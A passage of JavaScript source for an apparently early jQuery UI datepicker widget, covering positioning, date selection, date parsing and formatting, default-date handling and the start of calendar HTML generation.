0);\r\n\t\toffset.left -= (isFixed && offset.left == inst.input.offset().left) ? $(document).scrollLeft() : 0;\r\n\t\toffset.top -= (isFixed && offset.top == (inst.input.offset().top + inputHeight)) ? $(document).scrollTop() : 0;\r\n\r\n\t\t// now check if datepicker is showing outside window viewport - move to a better place if so.\r\n\t\toffset.left -= (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ? Math.abs(offset.left + dpWidth - viewWidth) : 0;\r\n\t\toffset.top -= (offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ? Math.abs(offset.top + dpHeight + inputHeight*2 - viewHeight) : 0;\r\n\r\n\t\treturn offset;\r\n\t},\r\n\r\n\t/* Find an object's position on the screen. */\r\n\t_findPos: function(obj) {\r\n        while (obj && (obj.type == 'hidden' || obj.nodeType != 1)) {\r\n            obj = obj.nextSibling;\r\n        }\r\n        var position = $(obj).offset();\r\n\t    return [position.left, position.top];\r\n\t},\r\n\r\n\t/* Hide the date picker from view.\r\n\t   @param  input  element - the input field attached to the date picker\r\n\t   @param  duration  string - the duration over which to close the date picker */\r\n\t_hideDatepicker: function(input, duration) {\r\n\t\tvar inst = this._curInst;\r\n\t\tif (!inst || (input && inst != $.data(input, PROP_NAME)))\r\n\t\t\treturn;\r\n\t\tif (inst.stayOpen)\r\n\t\t\tthis._selectDate('#' + inst.id, this._formatDate(inst,\r\n\t\t\t\tinst.currentDay, inst.currentMonth, inst.currentYear));\r\n\t\tinst.stayOpen = false;\r\n\t\tif (this._datepickerShowing) {\r\n\t\t\tduration = (duration != null ? duration : this._get(inst, 'duration'));\r\n\t\t\tvar showAnim = this._get(inst, 'showAnim');\r\n\t\t\tvar postProcess = function() {\r\n\t\t\t\t$.datepicker._tidyDialog(inst);\r\n\t\t\t};\r\n\t\t\tif (duration != '' && $.effects && $.effects[showAnim])\r\n\t\t\t\tinst.dpDiv.hide(showAnim, $.datepicker._get(inst, 'showOptions'),\r\n\t\t\t\t\tduration, postProcess);\r\n\t\t\telse\r\n\t\t\t\tinst.dpDiv[(duration == '' ? 'hide' : (showAnim == 'slideDown' ? 'slideUp' :\r\n\t\t\t\t\t(showAnim == 'fadeIn' ? 'fadeOut' : 'hide')))](duration, postProcess);\r\n\t\t\tif (duration == '')\r\n\t\t\t\tthis._tidyDialog(inst);\r\n\t\t\tvar onClose = this._get(inst, 'onClose');\r\n\t\t\tif (onClose)\r\n\t\t\t\tonClose.apply((inst.input ? inst.input[0] : null),\r\n\t\t\t\t\t[(inst.input ? inst.input.val() : ''), inst]);  // trigger custom callback\r\n\t\t\tthis._datepickerShowing = false;\r\n\t\t\tthis._lastInput = null;\r\n\t\t\tif (this._inDialog) {\r\n\t\t\t\tthis._dialogInput.css({ position: 'absolute', left: '0', top: '-100px' });\r\n\t\t\t\tif ($.blockUI) {\r\n\t\t\t\t\t$.unblockUI();\r\n\t\t\t\t\t$('body').append(this.dpDiv);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tthis._inDialog = false;\r\n\t\t}\r\n\t\tthis._curInst = null;\r\n\t},\r\n\r\n\t/* Tidy up after a dialog display. */\r\n\t_tidyDialog: function(inst) {\r\n\t\tinst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker-calendar');\r\n\t},\r\n\r\n\t/* Close date picker if clicked elsewhere. */\r\n\t_checkExternalClick: function(event) {\r\n\t\tif (!$.datepicker._curInst)\r\n\t\t\treturn;\r\n\t\tvar $target = $(event.target);\r\n\t\tif (($target.parents('#' + $.datepicker._mainDivId).length == 0) &&\r\n\t\t\t\t!$target.hasClass($.datepicker.markerClassName) &&\r\n\t\t\t\t!$target.hasClass($.datepicker._triggerClass) &&\r\n\t\t\t\t$.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI))\r\n\t\t\t$.datepicker._hideDatepicker(null, '');\r\n\t},\r\n\r\n\t/* Adjust one of the date sub-fields. */\r\n\t_adjustDate: function(id, offset, period) {\r\n\t\tvar target = $(id);\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tif (this._isDisabledDatepicker(target[0])) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tthis._adjustInstDate(inst, offset +\r\n\t\t\t(period == 'M' ? this._get(inst, 'showCurrentAtPos') : 0), // undo positioning\r\n\t\t\tperiod);\r\n\t\tthis._updateDatepicker(inst);\r\n\t},\r\n\r\n\t/* Action for current link. */\r\n\t_gotoToday: function(id) {\r\n\t\tvar target = $(id);\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tif (this._get(inst, 'gotoCurrent') && inst.currentDay) {\r\n\t\t\tinst.selectedDay = inst.currentDay;\r\n\t\t\tinst.drawMonth = inst.selectedMonth = inst.currentMonth;\r\n\t\t\tinst.drawYear = inst.selectedYear = inst.currentYear;\r\n\t\t}\r\n\t\telse {\r\n\t\tvar date = new Date();\r\n\t\tinst.selectedDay = date.getDate();\r\n\t\tinst.drawMonth = inst.selectedMonth = date.getMonth();\r\n\t\tinst.drawYear = inst.selectedYear = date.getFullYear();\r\n\t\t}\r\n\t\tthis._notifyChange(inst);\r\n\t\tthis._adjustDate(target);\r\n\t},\r\n\r\n\t/* Action for selecting a new month/year. */\r\n\t_selectMonthYear: function(id, select, period) {\r\n\t\tvar target = $(id);\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tinst._selectingMonthYear = false;\r\n\t\tinst['selected' + (period == 'M' ? 'Month' : 'Year')] =\r\n\t\tinst['draw' + (period == 'M' ? 'Month' : 'Year')] =\r\n\t\t\tparseInt(select.options[select.selectedIndex].value,10);\r\n\t\tthis._notifyChange(inst);\r\n\t\tthis._adjustDate(target);\r\n\t},\r\n\r\n\t/* Restore input focus after not changing month/year. */\r\n\t_clickMonthYear: function(id) {\r\n\t\tvar target = $(id);\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tif (inst.input && inst._selectingMonthYear && !$.browser.msie)\r\n\t\t\tinst.input[0].focus();\r\n\t\tinst._selectingMonthYear = !inst._selectingMonthYear;\r\n\t},\r\n\r\n\t/* Action for selecting a day. */\r\n\t_selectDay: function(id, month, year, td) {\r\n\t\tvar target = $(id);\r\n\t\tif ($(td).hasClass(this._unselectableClass) || this._isDisabledDatepicker(target[0])) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tinst.selectedDay = inst.currentDay = $('a', td).html();\r\n\t\tinst.selectedMonth = inst.currentMonth = month;\r\n\t\tinst.selectedYear = inst.currentYear = year;\r\n\t\tif (inst.stayOpen) {\r\n\t\t\tinst.endDay = inst.endMonth = inst.endYear = null;\r\n\t\t}\r\n\t\tthis._selectDate(id, this._formatDate(inst,\r\n\t\t\tinst.currentDay, inst.currentMonth, inst.currentYear));\r\n\t\tif (inst.stayOpen) {\r\n\t\t\tinst.rangeStart = this._daylightSavingAdjust(\r\n\t\t\t\tnew Date(inst.currentYear, inst.currentMonth, inst.currentDay));\r\n\t\t\tthis._updateDatepicker(inst);\r\n\t\t}\r\n\t},\r\n\r\n\t/* Erase the input field and hide the date picker. */\r\n\t_clearDate: function(id) {\r\n\t\tvar target = $(id);\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tinst.stayOpen = false;\r\n\t\tinst.endDay = inst.endMonth = inst.endYear = inst.rangeStart = null;\r\n\t\tthis._selectDate(target, '');\r\n\t},\r\n\r\n\t/* Update the input field with the selected date. */\r\n\t_selectDate: function(id, dateStr) {\r\n\t\tvar target = $(id);\r\n\t\tvar inst = this._getInst(target[0]);\r\n\t\tdateStr = (dateStr != null ? dateStr : this._formatDate(inst));\r\n\t\tif (inst.input)\r\n\t\t\tinst.input.val(dateStr);\r\n\t\tthis._updateAlternate(inst);\r\n\t\tvar onSelect = this._get(inst, 'onSelect');\r\n\t\tif (onSelect)\r\n\t\t\tonSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);  // trigger custom callback\r\n\t\telse if (inst.input)\r\n\t\t\tinst.input.trigger('change'); // fire the change event\r\n\t\tif (inst.inline)\r\n\t\t\tthis._updateDatepicker(inst);\r\n\t\telse if (!inst.stayOpen) {\r\n\t\t\tthis._hideDatepicker(null, this._get(inst, 'duration'));\r\n\t\t\tthis._lastInput = inst.input[0];\r\n\t\t\tif (typeof(inst.input[0]) != 'object')\r\n\t\t\t\tinst.input[0].focus(); // restore focus\r\n\t\t\tthis._lastInput = null;\r\n\t\t}\r\n\t},\r\n\r\n\t/* Update any alternate field to synchronise with the main field. */\r\n\t_updateAlternate: function(inst) {\r\n\t\tvar altField = this._get(inst, 'altField');\r\n\t\tif (altField) { // update alternate field too\r\n\t\t\tvar altFormat = this._get(inst, 'altFormat') || this._get(inst, 'dateFormat');\r\n\t\t\tvar date = this._getDate(inst);\r\n\t\t\tdateStr = this.formatDate(altFormat, date, this._getFormatConfig(inst));\r\n\t\t\t$(altField).each(function() { $(this).val(dateStr); });\r\n\t\t}\r\n\t},\r\n\r\n\t/* Set as beforeShowDay function to prevent selection of weekends.\r\n\t   @param  date  Date - the date to customise\r\n\t   @return [boolean, string] - is this date selectable?, what is its CSS class? */\r\n\tnoWeekends: function(date) {\r\n\t\tvar day = date.getDay();\r\n\t\treturn [(day > 0 && day < 6), ''];\r\n\t},\r\n\r\n\t/* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.\r\n\t   @param  date  Date - the date to get the week for\r\n\t   @return  number - the number of the week within the year that contains this date */\r\n\tiso8601Week: function(date) {\r\n\t\tvar checkDate = new Date(date.getFullYear(), date.getMonth(), date.getDate());\r\n\t\tvar firstMon = new Date(checkDate.getFullYear(), 1 - 1, 4); // First week always contains 4 Jan\r\n\t\tvar firstDay = firstMon.getDay() || 7; // Day of week: Mon = 1, ..., Sun = 7\r\n\t\tfirstMon.setDate(firstMon.getDate() + 1 - firstDay); // Preceding Monday\r\n\t\tif (firstDay < 4 && checkDate < firstMon) { // Adjust first three days in year if necessary\r\n\t\t\tcheckDate.setDate(checkDate.getDate() - 3); // Generate for previous year\r\n\t\t\treturn $.datepicker.iso8601Week(checkDate);\r\n\t\t} else if (checkDate > new Date(checkDate.getFullYear(), 12 - 1, 28)) { // Check last three days in year\r\n\t\t\tfirstDay = new Date(checkDate.getFullYear() + 1, 1 - 1, 4).getDay() || 7;\r\n\t\t\tif (firstDay > 4 && (checkDate.getDay() || 7) < firstDay - 3) { // Adjust if necessary\r\n\t\t\t\treturn 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn Math.floor(((checkDate - firstMon) / 86400000) / 7) + 1; // Weeks to given date\r\n\t},\r\n\r\n\t/* Parse a string value into a date object.\r\n\t   See formatDate below for the possible formats.\r\n\r\n\t   @param  format    string - the expected format of the date\r\n\t   @param  value     string - the date in the above format\r\n\t   @param  settings  Object - attributes include:\r\n\t                     shortYearCutoff  number - the cutoff year for determining the century (optional)\r\n\t                     dayNamesShort    string[7] - abbreviated names of the days from Sunday (optional)\r\n\t                     dayNames         string[7] - names of the days from Sunday (optional)\r\n\t                     monthNamesShort  string[12] - abbreviated names of the months (optional)\r\n\t                     monthNames       string[12] - names of the months (optional)\r\n\t   @return  Date - the extracted date value or null if value is blank */\r\n\tparseDate: function (format, value, settings) {\r\n\t\tif (format == null || value == null)\r\n\t\t\tthrow 'Invalid arguments';\r\n\t\tvalue = (typeof value == 'object' ? value.toString() : value + '');\r\n\t\tif (value == '')\r\n\t\t\treturn null;\r\n\t\tvar shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff;\r\n\t\tvar dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;\r\n\t\tvar dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;\r\n\t\tvar monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;\r\n\t\tvar monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;\r\n\t\tvar year = -1;\r\n\t\tvar month = -1;\r\n\t\tvar day = -1;\r\n\t\tvar doy = -1;\r\n\t\tvar literal = false;\r\n\t\t// Check whether a format character is doubled\r\n\t\tvar lookAhead = function(match) {\r\n\t\t\tvar matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);\r\n\t\t\tif (matches)\r\n\t\t\t\tiFormat++;\r\n\t\t\treturn matches;\r\n\t\t};\r\n\t\t// Extract a number from the string value\r\n\t\tvar getNumber = function(match) {\r\n\t\t\tlookAhead(match);\r\n\t\t\tvar origSize = (match == '@' ? 14 : (match == 'y' ? 4 : (match == 'o' ? 3 : 2)));\r\n\t\t\tvar size = origSize;\r\n\t\t\tvar num = 0;\r\n\t\t\twhile (size > 0 && iValue < value.length &&\r\n\t\t\t\t\tvalue.charAt(iValue) >= '0' && value.charAt(iValue) <= '9') {\r\n\t\t\t\tnum = num * 10 + parseInt(value.charAt(iValue++),10);\r\n\t\t\t\tsize--;\r\n\t\t\t}\r\n\t\t\tif (size == origSize)\r\n\t\t\t\tthrow 'Missing number at position ' + iValue;\r\n\t\t\treturn num;\r\n\t\t};\r\n\t\t// Extract a name from the string value and convert to an index\r\n\t\tvar getName = function(match, shortNames, longNames) {\r\n\t\t\tvar names = (lookAhead(match) ? longNames : shortNames);\r\n\t\t\tvar size = 0;\r\n\t\t\tfor (var j = 0; j < names.length; j++)\r\n\t\t\t\tsize = Math.max(size, names[j].length);\r\n\t\t\tvar name = '';\r\n\t\t\tvar iInit = iValue;\r\n\t\t\twhile (size > 0 && iValue < value.length) {\r\n\t\t\t\tname += value.charAt(iValue++);\r\n\t\t\t\tfor (var i = 0; i < names.length; i++)\r\n\t\t\t\t\tif (name == names[i])\r\n\t\t\t\t\t\treturn i + 1;\r\n\t\t\t\tsize--;\r\n\t\t\t}\r\n\t\t\tthrow 'Unknown name at position ' + iInit;\r\n\t\t};\r\n\t\t// Confirm that a literal character matches the string value\r\n\t\tvar checkLiteral = function() {\r\n\t\t\tif (value.charAt(iValue) != format.charAt(iFormat))\r\n\t\t\t\tthrow 'Unexpected literal at position ' + iValue;\r\n\t\t\tiValue++;\r\n\t\t};\r\n\t\tvar iValue = 0;\r\n\t\tfor (var iFormat = 0; iFormat < format.length; iFormat++) {\r\n\t\t\tif (literal)\r\n\t\t\t\tif (format.charAt(iFormat) == \"'\" && !lookAhead(\"'\"))\r\n\t\t\t\t\tliteral = false;\r\n\t\t\t\telse\r\n\t\t\t\t\tcheckLiteral();\r\n\t\t\telse\r\n\t\t\t\tswitch (format.charAt(iFormat)) {\r\n\t\t\t\t\tcase 'd':\r\n\t\t\t\t\t\tday = getNumber('d');\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'D':\r\n\t\t\t\t\t\tgetName('D', dayNamesShort, dayNames);\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'o':\r\n\t\t\t\t\t\tdoy = getNumber('o');\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'm':\r\n\t\t\t\t\t\tmonth = getNumber('m');\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'M':\r\n\t\t\t\t\t\tmonth = getName('M', monthNamesShort, monthNames);\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'y':\r\n\t\t\t\t\t\tyear = getNumber('y');\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase '@':\r\n\t\t\t\t\t\tvar date = new Date(getNumber('@'));\r\n\t\t\t\t\t\tyear = date.getFullYear();\r\n\t\t\t\t\t\tmonth = date.getMonth() + 1;\r\n\t\t\t\t\t\tday = date.getDate();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase \"'\":\r\n\t\t\t\t\t\tif (lookAhead(\"'\"))\r\n\t\t\t\t\t\t\tcheckLiteral();\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\tliteral = true;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\tcheckLiteral();\r\n\t\t\t\t}\r\n\t\t}\r\n\t\tif (year == -1)\r\n\t\t\tyear = new Date().getFullYear();\r\n\t\telse if (year < 100)\r\n\t\t\tyear += new Date().getFullYear() - new Date().getFullYear() % 100 +\r\n\t\t\t\t(year <= shortYearCutoff ? 0 : -100);\r\n\t\tif (doy > -1) {\r\n\t\t\tmonth = 1;\r\n\t\t\tday = doy;\r\n\t\t\tdo {\r\n\t\t\t\tvar dim = this._getDaysInMonth(year, month - 1);\r\n\t\t\t\tif (day <= dim)\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tmonth++;\r\n\t\t\t\tday -= dim;\r\n\t\t\t} while (true);\r\n\t\t}\r\n\t\tvar date = this._daylightSavingAdjust(new Date(year, month - 1, day));\r\n\t\tif (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day)\r\n\t\t\tthrow 'Invalid date'; // E.g. 31/02/*\r\n\t\treturn date;\r\n\t},\r\n\r\n\t/* Standard date formats. */\r\n\tATOM: 'yy-mm-dd', // RFC 3339 (ISO 8601)\r\n\tCOOKIE: 'D, dd M yy',\r\n\tISO_8601: 'yy-mm-dd',\r\n\tRFC_822: 'D, d M y',\r\n\tRFC_850: 'DD, dd-M-y',\r\n\tRFC_1036: 'D, d M y',\r\n\tRFC_1123: 'D, d M yy',\r\n\tRFC_2822: 'D, d M yy',\r\n\tRSS: 'D, d M y', // RFC 822\r\n\tTIMESTAMP: '@',\r\n\tW3C: 'yy-mm-dd', // ISO 8601\r\n\r\n\t/* Format a date object into a string value.\r\n\t   The format can be combinations of the following:\r\n\t   d  - day of month (no leading zero)\r\n\t   dd - day of month (two digit)\r\n\t   o  - day of year (no leading zeros)\r\n\t   oo - day of year (three digit)\r\n\t   D  - day name short\r\n\t   DD - day name long\r\n\t   m  - month of year (no leading zero)\r\n\t   mm - month of year (two digit)\r\n\t   M  - month name short\r\n\t   MM - month name long\r\n\t   y  - year (two digit)\r\n\t   yy - year (four digit)\r\n\t   @ - Unix timestamp (ms since 01/01/1970)\r\n\t   '...' - literal text\r\n\t   '' - single quote\r\n\r\n\t   @param  format    string - the desired format of the date\r\n\t   @param  date      Date - the date value to format\r\n\t   @param  settings  Object - attributes include:\r\n\t                     dayNamesShort    string[7] - abbreviated names of the days from Sunday (optional)\r\n\t                     dayNames         string[7] - names of the days from Sunday (optional)\r\n\t                     monthNamesShort  string[12] - abbreviated names of the months (optional)\r\n\t                     monthNames       string[12] - names of the months (optional)\r\n\t   @return  string - the date in the above format */\r\n\tformatDate: function (format, date, settings) {\r\n\t\tif (!date)\r\n\t\t\treturn '';\r\n\t\tvar dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;\r\n\t\tvar dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;\r\n\t\tvar monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;\r\n\t\tvar monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;\r\n\t\t// Check whether a format character is doubled\r\n\t\tvar lookAhead = function(match) {\r\n\t\t\tvar matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);\r\n\t\t\tif (matches)\r\n\t\t\t\tiFormat++;\r\n\t\t\treturn matches;\r\n\t\t};\r\n\t\t// Format a number, with leading zero if necessary\r\n\t\tvar formatNumber = function(match, value, len) {\r\n\t\t\tvar num = '' + value;\r\n\t\t\tif (lookAhead(match))\r\n\t\t\t\twhile (num.length < len)\r\n\t\t\t\t\tnum = '0' + num;\r\n\t\t\treturn num;\r\n\t\t};\r\n\t\t// Format a name, short or long as requested\r\n\t\tvar formatName = function(match, value, shortNames, longNames) {\r\n\t\t\treturn (lookAhead(match) ? longNames[value] : shortNames[value]);\r\n\t\t};\r\n\t\tvar output = '';\r\n\t\tvar literal = false;\r\n\t\tif (date)\r\n\t\t\tfor (var iFormat = 0; iFormat < format.length; iFormat++) {\r\n\t\t\t\tif (literal)\r\n\t\t\t\t\tif (format.charAt(iFormat) == \"'\" && !lookAhead(\"'\"))\r\n\t\t\t\t\t\tliteral = false;\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\toutput += format.charAt(iFormat);\r\n\t\t\t\telse\r\n\t\t\t\t\tswitch (format.charAt(iFormat)) {\r\n\t\t\t\t\t\tcase 'd':\r\n\t\t\t\t\t\t\toutput += formatNumber('d', date.getDate(), 2);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'D':\r\n\t\t\t\t\t\t\toutput += formatName('D', date.getDay(), dayNamesShort, dayNames);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'o':\r\n\t\t\t\t\t\t\tvar doy = date.getDate();\r\n\t\t\t\t\t\t\tfor (var m = date.getMonth() - 1; m >= 0; m--)\r\n\t\t\t\t\t\t\t\tdoy += this._getDaysInMonth(date.getFullYear(), m);\r\n\t\t\t\t\t\t\toutput += formatNumber('o', doy, 3);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'm':\r\n\t\t\t\t\t\t\toutput += formatNumber('m', date.getMonth() + 1, 2);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'M':\r\n\t\t\t\t\t\t\toutput += formatName('M', date.getMonth(), monthNamesShort, monthNames);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'y':\r\n\t\t\t\t\t\t\toutput += (lookAhead('y') ? date.getFullYear() :\r\n\t\t\t\t\t\t\t\t(date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase '@':\r\n\t\t\t\t\t\t\toutput += date.getTime();\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase \"'\":\r\n\t\t\t\t\t\t\tif (lookAhead(\"'\"))\r\n\t\t\t\t\t\t\t\toutput += \"'\";\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\tliteral = true;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\toutput += format.charAt(iFormat);\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\treturn output;\r\n\t},\r\n\r\n\t/* Extract all possible characters from the date format. */\r\n\t_possibleChars: function (format) {\r\n\t\tvar chars = '';\r\n\t\tvar literal = false;\r\n\t\tfor (var iFormat = 0; iFormat < format.length; iFormat++)\r\n\t\t\tif (literal)\r\n\t\t\t\tif (format.charAt(iFormat) == \"'\" && !lookAhead(\"'\"))\r\n\t\t\t\t\tliteral = false;\r\n\t\t\t\telse\r\n\t\t\t\t\tchars += format.charAt(iFormat);\r\n\t\t\telse\r\n\t\t\t\tswitch (format.charAt(iFormat)) {\r\n\t\t\t\t\tcase 'd': case 'm': case 'y': case '@':\r\n\t\t\t\t\t\tchars += '0123456789';\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'D': case 'M':\r\n\t\t\t\t\t\treturn null; // Accept anything\r\n\t\t\t\t\tcase \"'\":\r\n\t\t\t\t\t\tif (lookAhead(\"'\"))\r\n\t\t\t\t\t\t\tchars += \"'\";\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\tliteral = true;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\tchars += format.charAt(iFormat);\r\n\t\t\t\t}\r\n\t\treturn chars;\r\n\t},\r\n\r\n\t/* Get a setting value, defaulting if necessary. */\r\n\t_get: function(inst, name) {\r\n\t\treturn inst.settings[name] !== undefined ?\r\n\t\t\tinst.settings[name] : this._defaults[name];\r\n\t},\r\n\r\n\t/* Parse existing date and initialise date picker. */\r\n\t_setDateFromField: function(inst) {\r\n\t\tvar dateFormat = this._get(inst, 'dateFormat');\r\n\t\tvar dates = inst.input ? inst.input.val() : null;\r\n\t\tinst.endDay = inst.endMonth = inst.endYear = null;\r\n\t\tvar date = defaultDate = this._getDefaultDate(inst);\r\n\t\tvar settings = this._getFormatConfig(inst);\r\n\t\ttry {\r\n\t\t\tdate = this.parseDate(dateFormat, dates, settings) || defaultDate;\r\n\t\t} catch (event) {\r\n\t\t\tthis.log(event);\r\n\t\t\tdate = defaultDate;\r\n\t\t}\r\n\t\tinst.selectedDay = date.getDate();\r\n\t\tinst.drawMonth = inst.selectedMonth = date.getMonth();\r\n\t\tinst.drawYear = inst.selectedYear = date.getFullYear();\r\n\t\tinst.currentDay = (dates ? date.getDate() : 0);\r\n\t\tinst.currentMonth = (dates ? date.getMonth() : 0);\r\n\t\tinst.currentYear = (dates ? date.getFullYear() : 0);\r\n\t\tthis._adjustInstDate(inst);\r\n\t},\r\n\r\n\t/* Retrieve the default date shown on opening. */\r\n\t_getDefaultDate: function(inst) {\r\n\t\tvar date = this._determineDate(this._get(inst, 'defaultDate'), new Date());\r\n\t\tvar minDate = this._getMinMaxDate(inst, 'min', true);\r\n\t\tvar maxDate = this._getMinMaxDate(inst, 'max');\r\n\t\tdate = (minDate && date < minDate ? minDate : date);\r\n\t\tdate = (maxDate && date > maxDate ? maxDate : date);\r\n\t\treturn date;\r\n\t},\r\n\r\n\t/* A date may be specified as an exact value or a relative one. */\r\n\t_determineDate: function(date, defaultDate) {\r\n\t\tvar offsetNumeric = function(offset) {\r\n\t\t\tvar date = new Date();\r\n\t\t\tdate.setDate(date.getDate() + offset);\r\n\t\t\treturn date;\r\n\t\t};\r\n\t\tvar offsetString = function(offset, getDaysInMonth) {\r\n\t\t\tvar date = new Date();\r\n\t\t\tvar year = date.getFullYear();\r\n\t\t\tvar month = date.getMonth();\r\n\t\t\tvar day = date.getDate();\r\n\t\t\tvar pattern = /([+-]?[0-9]+)\\s*(d|D|w|W|m|M|y|Y)?/g;\r\n\t\t\tvar matches = pattern.exec(offset);\r\n\t\t\twhile (matches) {\r\n\t\t\t\tswitch (matches[2] || 'd') {\r\n\t\t\t\t\tcase 'd' : case 'D' :\r\n\t\t\t\t\t\tday += parseInt(matches[1],10); break;\r\n\t\t\t\t\tcase 'w' : case 'W' :\r\n\t\t\t\t\t\tday += parseInt(matches[1],10) * 7; break;\r\n\t\t\t\t\tcase 'm' : case 'M' :\r\n\t\t\t\t\t\tmonth += parseInt(matches[1],10);\r\n\t\t\t\t\t\tday = Math.min(day, getDaysInMonth(year, month));\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase 'y': case 'Y' :\r\n\t\t\t\t\t\tyear += parseInt(matches[1],10);\r\n\t\t\t\t\t\tday = Math.min(day, getDaysInMonth(year, month));\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tmatches = pattern.exec(offset);\r\n\t\t\t}\r\n\t\t\treturn new Date(year, month, day);\r\n\t\t};\r\n\t\tdate = (date == null ? defaultDate :\r\n\t\t\t(typeof date == 'string' ? offsetString(date, this._getDaysInMonth) :\r\n\t\t\t(typeof date == 'number' ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : date)));\r\n\t\tdate = (date && date.toString() == 'Invalid Date' ? defaultDate : date);\r\n\t\tif (date) {\r\n\t\t\tdate.setHours(0);\r\n\t\t\tdate.setMinutes(0);\r\n\t\t\tdate.setSeconds(0);\r\n\t\t\tdate.setMilliseconds(0);\r\n\t\t}\r\n\t\treturn this._daylightSavingAdjust(date);\r\n\t},\r\n\r\n\t/* Handle switch to/from daylight saving.\r\n\t   Hours may be non-zero on daylight saving cut-over:\r\n\t   > 12 when midnight changeover, but then cannot generate\r\n\t   midnight datetime, so jump to 1AM, otherwise reset.\r\n\t   @param  date  (Date) the date to check\r\n\t   @return  (Date) the corrected date */\r\n\t_daylightSavingAdjust: function(date) {\r\n\t\tif (!date) return null;\r\n\t\tdate.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);\r\n\t\treturn date;\r\n\t},\r\n\r\n\t/* Set the date(s) directly. */\r\n\t_setDate: function(inst, date, endDate) {\r\n\t\tvar clear = !(date);\r\n\t\tvar origMonth = inst.selectedMonth;\r\n\t\tvar origYear = inst.selectedYear;\r\n\t\tdate = this._determineDate(date, new Date());\r\n\t\tinst.selectedDay = inst.currentDay = date.getDate();\r\n\t\tinst.drawMonth = inst.selectedMonth = inst.currentMonth = date.getMonth();\r\n\t\tinst.drawYear = inst.selectedYear = inst.currentYear = date.getFullYear();\r\n\t\tif (origMonth != inst.selectedMonth || origYear != inst.selectedYear)\r\n\t\t\tthis._notifyChange(inst);\r\n\t\tthis._adjustInstDate(inst);\r\n\t\tif (inst.input) {\r\n\t\t\tinst.input.val(clear ? '' : this._formatDate(inst));\r\n\t\t}\r\n\t},\r\n\r\n\t/* Retrieve the date(s) directly. */\r\n\t_getDate: function(inst) {\r\n\t\tvar startDate = (!inst.currentYear || (inst.input && inst.input.val() == '') ? null :\r\n\t\t\tthis._daylightSavingAdjust(new Date(\r\n\t\t\tinst.currentYear, inst.currentMonth, inst.currentDay)));\r\n\t\t\treturn startDate;\r\n\t},\r\n\r\n\t/* Generate the HTML for the current state of the date picker. */\r\n\t_generateHTML: function(inst) {\r\n\t\tvar today = new Date();\r\n\t\ttoday = this._daylightSavingAdjust(\r\n\t\t\tnew Date(today.getFullYear(), today.getMonth(), today.getDate())); // clear time\r\n\t\tvar isRTL = this._get(inst, 'isRTL');\r\n\t\tvar showButtonPanel = this._get(inst, 'showButtonPanel');\r\n\t\tvar hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');\r\n\t\tvar navigationAsDateFormat = this._get(inst, 'navigationAsDateFormat');\r\n\t\tvar numMonths = this._getNumberOfMonths(inst);\r\n\t\tvar showCurrentAtPos = this._get(inst, 'showCurrentAtPos');\r\n\t\tvar stepMonths = this._get(inst, 